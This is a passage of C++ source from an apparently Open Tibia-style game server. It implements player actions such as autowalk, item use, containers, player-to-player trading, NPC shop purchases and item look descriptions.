    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Player* reporter = getPlayerByName(name);
    if(!reporter)
        return false;

    return closeRuleViolation(reporter);
}

bool Game::playerCancelRuleViolation(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    return cancelRuleViolation(player);
}

bool Game::playerCloseNpcChannel(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    SpectatorVec list;
    SpectatorVec::iterator it;

    getSpectators(list, player->getPosition());
    Npc* npc = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((npc = (*it)->getNpc()))
            npc->onPlayerCloseChannel(player);
    }

    return true;
}

bool Game::playerReceivePing(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->receivePing();
    return true;
}

bool Game::playerAutoWalk(uint32_t playerId, std::list<Direction>& listDir)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->setIdleTime(0);
    if(player->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_TELEPORT))
    {
        Position pos = player->getPosition();
        for(std::list<Direction>::iterator it = listDir.begin(); it != listDir.end(); ++it)
            pos = getNextPosition((*it), pos);

        pos = getClosestFreeTile(player, pos, true, false);
        if(!pos.x || !pos.y)
        {
            player->sendCancelWalk();
            return false;
        }

        internalCreatureTurn(player, getDirectionTo(player->getPosition(), pos, false));
        internalTeleport(player, pos, false);
        return true;
    }

    player->setNextWalkTask(NULL);
    return player->startAutoWalk(listDir);
}

bool Game::playerStopAutoWalk(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->stopWalk();
    return true;
}

bool Game::playerUseItemEx(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint16_t fromSpriteId,
    const Position& toPos, int16_t toStackpos, uint16_t toSpriteId, bool isHotkey)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED))
        return false;

    Thing* thing = internalGetThing(player, fromPos, fromStackpos, fromSpriteId, STACKPOS_USEITEM);
    if(!thing)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Item* item = thing->getItem();
    if(!item || !item->isUseable())
    {
        player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
        return false;
    }

    Position walkToPos = fromPos;
    ReturnValue ret = g_actions->canUse(player, fromPos);
    if(ret == RET_NOERROR)
    {
        ret = g_actions->canUse(player, toPos, item);
        if(ret == RET_TOOFARAWAY)
            walkToPos = toPos;
    }

    if(ret != RET_NOERROR)
    {
        if(ret == RET_TOOFARAWAY)
        {
            Position itemPos = fromPos;
            int16_t itemStackpos = fromStackpos;
            if(fromPos.x != 0xFFFF && toPos.x != 0xFFFF && Position::areInRange<1,1,0>(fromPos,
                player->getPosition()) && !Position::areInRange<1,1,0>(fromPos, toPos))
            {
                Item* moveItem = NULL;
                ReturnValue retTmp = internalMoveItem(player, item->getParent(), player,
                    INDEX_WHEREEVER, item, item->getItemCount(), &moveItem);
                if(retTmp != RET_NOERROR)
                {
                    player->sendCancelMessage(retTmp);
                    return false;
                }

                //changing the position since its now in the inventory of the player
                internalGetPosition(moveItem, itemPos, itemStackpos);
            }

            std::list<Direction> listDir;
            if(getPathToEx(player, walkToPos, listDir, 0, 1, true, true, 10))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));

                SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItemEx, this,
                    playerId, itemPos, itemStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey));

                player->setNextWalkActionTask(task);
                return true;
            }

            ret = RET_THEREISNOWAY;
        }

        player->sendCancelMessage(ret);
        return false;
    }

    if(isHotkey)
        showHotkeyUseMessage(player, item);

    if(!player->canDoAction())
    {
        uint32_t delay = player->getNextActionTime();
        SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItemEx, this,
            playerId, fromPos, fromStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey));

        player->setNextActionTask(task);
        return false;
    }

    player->setIdleTime(0);
    player->setNextActionTask(NULL);
    return g_actions->useItemEx(player, fromPos, toPos, toStackpos, item, isHotkey);
}

bool Game::playerUseItem(uint32_t playerId, const Position& pos, int16_t stackpos,
    uint8_t index, uint16_t spriteId, bool isHotkey)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED))
        return false;

    Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USEITEM);
    if(!thing)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Item* item = thing->getItem();
    if(!item || item->isUseable())
    {
        player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
        return false;
    }

    ReturnValue ret = g_actions->canUse(player, pos);
    if(ret != RET_NOERROR)
    {
        if(ret == RET_TOOFARAWAY)
        {
            std::list<Direction> listDir;
            if(getPathToEx(player, pos, listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));

                SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItem, this,
                    playerId, pos, stackpos, index, spriteId, isHotkey));

                player->setNextWalkActionTask(task);
                return true;
            }

            ret = RET_THEREISNOWAY;
        }

        player->sendCancelMessage(ret);
        return false;
    }

    if(isHotkey)
        showHotkeyUseMessage(player, item);

    if(!player->canDoAction())
    {
        uint32_t delay = player->getNextActionTime();
        SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItem, this,
            playerId, pos, stackpos, index, spriteId, isHotkey));

        player->setNextActionTask(task);
        return false;
    }

    player->setIdleTime(0);
    player->setNextActionTask(NULL);
    return g_actions->useItem(player, pos, index, item);
}

bool Game::playerUseBattleWindow(uint32_t playerId, const Position& fromPos, int16_t fromStackpos,
    uint32_t creatureId, uint16_t spriteId, bool isHotkey)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Creature* creature = getCreatureByID(creatureId);
    if(!creature)
        return false;

    if(!Position::areInRange<7,5,0>(creature->getPosition(), player->getPosition()))
        return false;

    if(!g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED) && (creature->getPlayer() || isHotkey))
    {
        player->sendCancelMessage(RET_DIRECTPLAYERSHOOT);
        return false;
    }

    Thing* thing = internalGetThing(player, fromPos, fromStackpos, spriteId, STACKPOS_USE);
    if(!thing)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Item* item = thing->getItem();
    if(!item || item->getClientID() != spriteId)
    {
        player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
        return false;
    }

    ReturnValue ret = g_actions->canUse(player, fromPos);
    if(ret != RET_NOERROR)
    {
        if(ret == RET_TOOFARAWAY)
        {
            std::list<Direction> listDir;
            if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));

                SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseBattleWindow, this,
                    playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey));

                player->setNextWalkActionTask(task);
                return true;
            }

            ret = RET_THEREISNOWAY;
        }

        player->sendCancelMessage(ret);
        return false;
    }

    if(isHotkey)
        showHotkeyUseMessage(player, item);

    if(!player->canDoAction())
    {
        uint32_t delay = player->getNextActionTime();
        SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseBattleWindow, this,
            playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey));

        player->setNextActionTask(task);
        return false;
    }

    player->setIdleTime(0);
    player->setNextActionTask(NULL);
    return g_actions->useItemEx(player, fromPos, creature->getPosition(),
        creature->getParent()->__getIndexOfThing(creature), item, isHotkey, creatureId);
}

bool Game::playerCloseContainer(uint32_t playerId, uint8_t cid)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->closeContainer(cid);
    player->sendCloseContainer(cid);
    return true;
}

bool Game::playerMoveUpContainer(uint32_t playerId, uint8_t cid)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Container* container = player->getContainer(cid);
    if(!container)
        return false;

    Container* parentContainer = dynamic_cast<Container*>(container->getParent());
    if(!parentContainer)
        return false;

    player->addContainer(cid, parentContainer);
    player->sendContainer(cid, parentContainer, (dynamic_cast<const Container*>(parentContainer->getParent()) != NULL));
    return true;
}

bool Game::playerUpdateTile(uint32_t playerId, const Position& pos)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->canSee(pos))
        return false;

    if(Tile* tile = getTile(pos))
        player->sendUpdateTile(tile, pos);

    return true;
}

bool Game::playerUpdateContainer(uint32_t playerId, uint8_t cid)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Container* container = player->getContainer(cid);
    if(!container)
        return false;

    player->sendContainer(cid, container, (dynamic_cast<const Container*>(container->getParent()) != NULL));
    return true;
}

bool Game::playerRotateItem(uint32_t playerId, const Position& pos, int16_t stackpos, const uint16_t spriteId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Thing* thing = internalGetThing(player, pos, stackpos);
    if(!thing)
        return false;

    Item* item = thing->getItem();
    if(!item || item->getClientID() != spriteId || !item->isRoteable() || (item->isLoadedFromMap() &&
        (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer()))))
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if(pos.x != 0xFFFF && !Position::areInRange<1,1,0>(pos, player->getPosition()))
    {
        std::list<Direction> listDir;
        if(getPathToEx(player, pos, listDir, 0, 1, true, true))
        {
            Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                this, player->getID(), listDir)));

            SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRotateItem, this,
                playerId, pos, stackpos, spriteId));

            player->setNextWalkActionTask(task);
            return true;
        }

        player->sendCancelMessage(RET_THEREISNOWAY);
        return false;
    }

    uint16_t newId = Item::items[item->getID()].rotateTo;
    if(newId != 0)
        transformItem(item, newId);

    player->setIdleTime(0);
    return true;
}

bool Game::playerWriteItem(uint32_t playerId, uint32_t windowTextId, const std::string& text)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    uint16_t maxTextLength = 0;
    uint32_t internalWindowTextId = 0;

    Item* writeItem = player->getWriteItem(internalWindowTextId, maxTextLength);
    if(text.length() > maxTextLength || windowTextId != internalWindowTextId)
        return false;

    if(!writeItem || writeItem->isRemoved())
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Cylinder* topParent = writeItem->getTopParent();
    Player* owner = dynamic_cast<Player*>(topParent);
    if(owner && owner != player)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if(!Position::areInRange<1,1,0>(writeItem->getPosition(), player->getPosition()))
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    bool deny = false;
    CreatureEventList textEditEvents = player->getCreatureEvents(CREATURE_EVENT_TEXTEDIT);
    for(CreatureEventList::iterator it = textEditEvents.begin(); it != textEditEvents.end(); ++it)
    {
        if(!(*it)->executeTextEdit(player, writeItem, text))
            deny = true;
    }

    if(deny)
        return false;

    if(!text.empty())
    {
        if(writeItem->getText() != text)
        {
            writeItem->setText(text);
            writeItem->setWriter(player->getName());
            writeItem->setDate(std::time(NULL));
        }
    }
    else
    {
        writeItem->resetText();
        writeItem->resetWriter();
        writeItem->resetDate();
    }

    uint16_t newId = Item::items[writeItem->getID()].writeOnceItemId;
    if(newId != 0)
        transformItem(writeItem, newId);

    player->setWriteItem(NULL);
    return true;
}

bool Game::playerUpdateHouseWindow(uint32_t playerId, uint8_t listId, uint32_t windowTextId, const std::string& text)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    uint32_t internalWindowTextId = 0;
    uint32_t internalListId = 0;

    House* house = player->getEditHouse(internalWindowTextId, internalListId);
    if(house && internalWindowTextId == windowTextId && listId == 0)
    {
        house->setAccessList(internalListId, text);
        player->setEditHouse(NULL);
    }

    return true;
}

bool Game::playerRequestTrade(uint32_t playerId, const Position& pos, int16_t stackpos,
    uint32_t tradePlayerId, uint16_t spriteId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Player* tradePartner = getPlayerByID(tradePlayerId);
    if(!tradePartner || tradePartner == player)
    {
        player->sendTextMessage(MSG_INFO_DESCR, "Sorry, not possible.");
        return false;
    }

    if(!Position::areInRange<2,2,0>(tradePartner->getPosition(), player->getPosition()))
    {
        std::stringstream ss;
        ss << tradePartner->getName() << " tells you to move closer.";
        player->sendTextMessage(MSG_INFO_DESCR, ss.str());
        return false;
    }

    Item* tradeItem = dynamic_cast<Item*>(internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USE));
    if(!tradeItem || tradeItem->getClientID() != spriteId || !tradeItem->isPickupable() || (tradeItem->isLoadedFromMap() &&
        (tradeItem->getUniqueId() != 0 || (tradeItem->getActionId() != 0 && tradeItem->getContainer()))))
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    if(player->getPosition().z > tradeItem->getPosition().z)
    {
        player->sendCancelMessage(RET_FIRSTGOUPSTAIRS);
        return false;
    }

    if(player->getPosition().z < tradeItem->getPosition().z)
    {
        player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS);
        return false;
    }

    if(!Position::areInRange<1,1,0>(tradeItem->getPosition(), player->getPosition()))
    {
        std::list<Direction> listDir;
        if(getPathToEx(player, pos, listDir, 0, 1, true, true))
        {
            Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                this, player->getID(), listDir)));

            SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRequestTrade, this,
                playerId, pos, stackpos, tradePlayerId, spriteId));

            player->setNextWalkActionTask(task);
            return true;
        }

        player->sendCancelMessage(RET_THEREISNOWAY);
        return false;
    }

    const Container* container = NULL;
    for(std::map<Item*, uint32_t>::const_iterator it = tradeItems.begin(); it != tradeItems.end(); it++)
    {
        if(tradeItem == it->first ||
            ((container = dynamic_cast<const Container*>(tradeItem)) && container->isHoldingItem(it->first)) ||
            ((container = dynamic_cast<const Container*>(it->first)) && container->isHoldingItem(tradeItem)))
        {
            player->sendTextMessage(MSG_INFO_DESCR, "This item is already being traded.");
            return false;
        }
    }

    Container* tradeContainer = tradeItem->getContainer();
    if(tradeContainer && tradeContainer->getItemHoldingCount() + 1 > 100)
    {
        player->sendTextMessage(MSG_INFO_DESCR, "You cannot trade more than 100 items.");
        return false;
    }

    bool deny = false;
    CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_REQUEST);
    for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it)
    {
        if(!(*it)->executeTradeRequest(player, tradePartner, tradeItem))
            deny = true;
    }

    if(deny)
        return false;

    return internalStartTrade(player, tradePartner, tradeItem);
}

bool Game::internalStartTrade(Player* player, Player* tradePartner, Item* tradeItem)
{
    if(player->tradeState != TRADE_NONE && !(player->tradeState == TRADE_ACKNOWLEDGE && player->tradePartner == tradePartner))
    {
        player->sendCancelMessage(RET_YOUAREALREADYTRADING);
        return false;
    }
    else if(tradePartner->tradeState != TRADE_NONE && tradePartner->tradePartner != player)
    {
        player->sendCancelMessage(RET_THISPLAYERISALREADYTRADING);
        return false;
    }

    player->tradePartner = tradePartner;
    player->tradeItem = tradeItem;
    player->tradeState = TRADE_INITIATED;

    tradeItem->addRef();
    tradeItems[tradeItem] = player->getID();

    player->sendTradeItemRequest(player, tradeItem, true);
    if(tradePartner->tradeState == TRADE_NONE)
    {
        char buffer[100];
        sprintf(buffer, "%s wants to trade with you", player->getName().c_str());
        tradePartner->sendTextMessage(MSG_INFO_DESCR, buffer);
        tradePartner->tradeState = TRADE_ACKNOWLEDGE;
        tradePartner->tradePartner = player;
    }
    else
    {
        Item* counterOfferItem = tradePartner->tradeItem;
        player->sendTradeItemRequest(tradePartner, counterOfferItem, false);
        tradePartner->sendTradeItemRequest(player, tradeItem, false);
    }

    return true;
}

bool Game::playerAcceptTrade(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!(player->getTradeState() == TRADE_ACKNOWLEDGE || player->getTradeState() == TRADE_INITIATED))
        return false;

    player->setTradeState(TRADE_ACCEPT);
    Player* tradePartner = player->tradePartner;
    if(!tradePartner || tradePartner->getTradeState() != TRADE_ACCEPT)
        return false;

    Item* tradeItem1 = player->tradeItem;
    Item* tradeItem2 = tradePartner->tradeItem;

    bool deny = false;
    CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_ACCEPT);
    for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it)
    {
        if(!(*it)->executeTradeAccept(player, tradePartner, tradeItem1, tradeItem2))
            deny = true;
    }

    if(deny)
        return false;

    player->setTradeState(TRADE_TRANSFER);
    tradePartner->setTradeState(TRADE_TRANSFER);

    std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradeItem1);
    if(it != tradeItems.end())
    {
        freeThing(it->first);
        tradeItems.erase(it);
    }

    it = tradeItems.find(tradeItem2);
    if(it != tradeItems.end())
    {
        freeThing(it->first);
        tradeItems.erase(it);
    }

    ReturnValue ret1 = internalAddItem(player, tradePartner, tradeItem1, INDEX_WHEREEVER, 0, true);
    ReturnValue ret2 = internalAddItem(tradePartner, player, tradeItem2, INDEX_WHEREEVER, 0, true);

    bool isSuccess = false;
    if(ret1 == RET_NOERROR && ret2 == RET_NOERROR)
    {
        ret1 = internalRemoveItem(tradePartner, tradeItem1, tradeItem1->getItemCount(), true);
        ret2 = internalRemoveItem(player, tradeItem2, tradeItem2->getItemCount(), true);
        if(ret1 == RET_NOERROR && ret2 == RET_NOERROR)
        {
            Cylinder* cylinder1 = tradeItem1->getParent();
            Cylinder* cylinder2 = tradeItem2->getParent();

            internalMoveItem(player, cylinder1, tradePartner, INDEX_WHEREEVER, tradeItem1, tradeItem1->getItemCount(), NULL);
            internalMoveItem(tradePartner, cylinder2, player, INDEX_WHEREEVER, tradeItem2, tradeItem2->getItemCount(), NULL);

            tradeItem1->onTradeEvent(ON_TRADE_TRANSFER, tradePartner, player);
            tradeItem2->onTradeEvent(ON_TRADE_TRANSFER, player, tradePartner);

            isSuccess = true;
        }
    }

    if(!isSuccess)
    {
        std::string errorDescription = getTradeErrorDescription(ret1, tradeItem1);
        tradePartner->sendTextMessage(MSG_INFO_DESCR, errorDescription);
        tradeItem2->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL);

        errorDescription = getTradeErrorDescription(ret2, tradeItem2);
        player->sendTextMessage(MSG_INFO_DESCR, errorDescription);
        tradeItem1->onTradeEvent(ON_TRADE_CANCEL, player, NULL);
    }

    player->setTradeState(TRADE_NONE);
    player->tradeItem = NULL;
    player->tradePartner = NULL;
    player->sendTradeClose();

    tradePartner->setTradeState(TRADE_NONE);
    tradePartner->tradeItem = NULL;
    tradePartner->tradePartner = NULL;
    tradePartner->sendTradeClose();
    return isSuccess;
}

std::string Game::getTradeErrorDescription(ReturnValue ret, Item* item)
{
    std::stringstream ss;
    if(ret == RET_NOTENOUGHCAPACITY)
    {
        ss << "You do not have enough capacity to carry";
        if(item->isStackable() && item->getItemCount() > 1)
            ss << " these objects.";
        else
            ss << " this object." ;

        ss << std::endl << " " << item->getWeightDescription();
    }
    else if(ret == RET_NOTENOUGHROOM || ret == RET_CONTAINERNOTENOUGHROOM)
    {
        ss << "You do not have enough room to carry";
        if(item->isStackable() && item->getItemCount() > 1)
            ss << " these objects.";
        else
            ss << " this object.";
    }
    else
        ss << "Trade could not be completed.";

    return ss.str().c_str();
}

bool Game::playerLookInTrade(uint32_t playerId, bool lookAtCounterOffer, int32_t index)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Player* tradePartner = player->tradePartner;
    if(!tradePartner)
        return false;

    Item* tradeItem = NULL;
    if(lookAtCounterOffer)
        tradeItem = tradePartner->getTradeItem();
    else
        tradeItem = player->getTradeItem();

    if(!tradeItem)
        return false;

    std::stringstream ss;
    ss << "You see ";

    int32_t lookDistance = std::max(std::abs(player->getPosition().x - tradeItem->getPosition().x),
        std::abs(player->getPosition().y - tradeItem->getPosition().y));
    if(!index)
    {
        ss << tradeItem->getDescription(lookDistance);
        if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
        {
            ss << std::endl << "ItemID: [" << tradeItem->getID() << "]";
            if(tradeItem->getActionId() > 0)
                ss << ", ActionID: [" << tradeItem->getActionId() << "]";

            if(tradeItem->getUniqueId() > 0)
                ss << ", UniqueID: [" << tradeItem->getUniqueId() << "]";

            ss << ".";
            const ItemType& it = Item::items[tradeItem->getID()];
            if(it.transformEquipTo)
                ss << std::endl << "TransformTo (onEquip): [" << it.transformEquipTo << "]";
            else if(it.transformDeEquipTo)
                ss << std::endl << "TransformTo (onDeEquip): [" << it.transformDeEquipTo << "]";
            else if(it.decayTo != -1)
                ss << std::endl << "DecayTo: [" << it.decayTo << "]";
        }

        player->sendTextMessage(MSG_INFO_DESCR, ss.str());
        return false;
    }

    Container* tradeContainer = tradeItem->getContainer();
    if(!tradeContainer || index > (int32_t)tradeContainer->getItemHoldingCount())
        return false;

    std::list<const Container*> listContainer;
    listContainer.push_back(tradeContainer);

    ItemList::const_iterator it;
    Container* tmpContainer = NULL;
    while(listContainer.size() > 0)
    {
        const Container* container = listContainer.front();
        listContainer.pop_front();
        for(it = container->getItems(); it != container->getEnd(); ++it)
        {
            if((tmpContainer = (*it)->getContainer()))
                listContainer.push_back(tmpContainer);

            --index;
            if(index != 0)
                continue;

            ss << (*it)->getDescription(lookDistance);
            if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
            {
                ss << std::endl << "ItemID: [" << (*it)->getID() << "]";
                if((*it)->getActionId() > 0)
                    ss << ", ActionID: [" << (*it)->getActionId() << "]";

                if((*it)->getUniqueId() > 0)
                    ss << ", UniqueID: [" << (*it)->getUniqueId() << "]";

                ss << ".";
                const ItemType& iit = Item::items[(*it)->getID()];
                if(iit.transformEquipTo)
                    ss << std::endl << "TransformTo: [" << iit.transformEquipTo << "] (onEquip).";
                else if(iit.transformDeEquipTo)
                    ss << std::endl << "TransformTo: [" << iit.transformDeEquipTo << "] (onDeEquip).";
                else if(iit.decayTo != -1)
                    ss << std::endl << "DecayTo: [" << iit.decayTo << "].";
            }

            player->sendTextMessage(MSG_INFO_DESCR, ss.str());
            return true;
        }
    }

    return false;
}

bool Game::playerCloseTrade(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    return internalCloseTrade(player);
}

bool Game::internalCloseTrade(Player* player)
{
    Player* tradePartner = player->tradePartner;
    if((tradePartner && tradePartner->getTradeState() == TRADE_TRANSFER) || player->getTradeState() == TRADE_TRANSFER)
    {
        std::cout << "[Warning - Game::internalCloseTrade] TradeState == TRADE_TRANSFER, " <<
            player->getName() << " " << player->getTradeState() << ", " <<
            tradePartner->getName() << " " << tradePartner->getTradeState() << std::endl;
        return true;
    }

    std::vector<Item*>::iterator it;
    if(player->getTradeItem())
    {
        std::map<Item*, uint32_t>::iterator it = tradeItems.find(player->getTradeItem());
        if(it != tradeItems.end())
        {
            freeThing(it->first);
            tradeItems.erase(it);
        }

        player->tradeItem->onTradeEvent(ON_TRADE_CANCEL, player, NULL);
        player->tradeItem = NULL;
    }

    player->setTradeState(TRADE_NONE);
    player->tradePartner = NULL;

    player->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled.");
    player->sendTradeClose();
    if(tradePartner)
    {
        if(tradePartner->getTradeItem())
        {
            std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradePartner->getTradeItem());
            if(it != tradeItems.end())
            {
                freeThing(it->first);
                tradeItems.erase(it);
            }

            tradePartner->tradeItem->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL);
            tradePartner->tradeItem = NULL;
        }

        tradePartner->setTradeState(TRADE_NONE);
        tradePartner->tradePartner = NULL;

        tradePartner->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled.");
        tradePartner->sendTradeClose();
    }

    return true;
}

bool Game::playerPurchaseItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount,
    bool ignoreCap/* = false*/, bool inBackpacks/* = false*/)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    int32_t onBuy, onSell;
    Npc* merchant = player->getShopOwner(onBuy, onSell);
    if(!merchant)
        return false;

    const ItemType& it = Item::items.getItemIdByClientId(spriteId);
    if(!it.id)
        return false;

    uint8_t subType = count;
    if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
        subType = reverseFluidMap[count];

    if(!player->canShopItem(it.id, subType, SHOPEVENT_BUY))
        return false;

    merchant->onPlayerTrade(player, SHOPEVENT_BUY, onBuy, it.id, subType, amount, ignoreCap, inBackpacks);
    return true;
}

bool Game::playerSellItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    int32_t onBuy, onSell;
    Npc* merchant = player->getShopOwner(onBuy, onSell);
    if(!merchant)
        return false;

    const ItemType& it = Item::items.getItemIdByClientId(spriteId);
    if(!it.id)
        return false;

    uint8_t subType = count;
    if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
        subType = reverseFluidMap[count];

    if(!player->canShopItem(it.id, subType, SHOPEVENT_SELL))
        return false;

    merchant->onPlayerTrade(player, SHOPEVENT_SELL, onSell, it.id, subType, amount);
    return true;
}

bool Game::playerCloseShop(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(player == NULL || player->isRemoved())
        return false;

    player->closeShopWindow();
    return true;
}

bool Game::playerLookInShop(uint32_t playerId, uint16_t spriteId, uint8_t count)
{
    Player* player = getPlayerByID(playerId);
    if(player == NULL || player->isRemoved())
        return false;

    const ItemType& it = Item::items.getItemIdByClientId(spriteId);
    if(it.id == 0)
        return false;

    int32_t subType = count;
    if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
        subType = reverseFluidMap[count];

    std::stringstream ss;
    ss << "You see " << Item::getDescription(it, 1, NULL, subType);
    if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
        ss << std::endl << "ItemID: [" << it.id << "].";

    player->sendTextMessage(MSG_INFO_DESCR, ss.str());
    return true;
}

bool Game::playerLookAt(uint32_t playerId, const Position& pos, uint16_t spriteId, int16_t stackpos)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_LOOK);
    if(!thing)
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Position thingPos = pos;
    if(pos.x == 0xFFFF)
        thingPos = thing->getPosition();

    if(!player->canSee(thingPos))
    {
        player->sendCancelMessage(RET_NOTPOSSIBLE);
        return false;
    }

    Position playerPos = player->getPosition();
    int32_t lookDistance = -1;
    if(thing != player)
    {
        lookDistance = std::max(std::abs(playerPos.x - thingPos.x), std::abs(playerPos.y - thingPos.y));
        if(playerPos.z != thingPos.z)
            lookDistance = lookDistance + 9 + 6;
    }

    bool deny = false;
    CreatureEventList lookEvents = player->getCreatureEvents(CREATURE_EVENT_LOOK);
    for(CreatureEventList::iterator it = lookEvents.begin(); it != lookEvents.end(); ++it)
    {
        if(!(*it)->executeLook(player, thing, thingPos, stackpos, lookDistance))
            deny = true;
    }

    if(deny)
        return false;

    std::stringstream ss;
    ss << "You see " << thing->getDescription(lookDistance);
    if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
    {
        if(Item* item = thing->getItem())
        {
            ss << std::endl << "ItemID: [" << item->getID() << "]";
            if(item->getActionId() > 0)
                ss << ", ActionID: [" << item->getActionId() << "]";

            if(item->getUniqueId() > 0)
                ss << ", UniqueID: [" << item->getUniqueId() << "]";

            ss << ".";
            const ItemType& it = Item::items[item->getID()];
            if(it.transformEquipTo)
                ss << std::endl << "TransformTo: [" << it.transformEquipTo << "] (onEquip).";
            else if(it.transformDeEquipTo)
                ss << std::endl << "TransformTo: [" << it.transformDeEquipTo << "] (onDeEquip).";
            else if(it.decayTo != -1)
                ss << std::endl << "DecayTo: [" << it.decayTo << "].";
        }
    }

    if(player->hasCustomFlag(PlayerCustomFlag_CanSeeCreatureDetails))
    {
        if(const Creature* creature = thing->getCreature())
        {
            ss << std::endl << "Health: [" << creature->getHealth() << " / " << creature->getMaxHealth() << "]";
            if(creature->getMaxMana() > 0)
                ss << ", Mana: [" << creature->getMana() << " / " << creature->getMaxMana() << "]";

            ss << ".";
            if(const Player* destPlayer = creature->getPlayer())
            {
                ss << std::endl << "IP: " << convertIPAddress(destPlayer->getIP()) << ", Client: " << destPlayer->getClientVersion() << ".";
                if(destPlayer->isGhost())
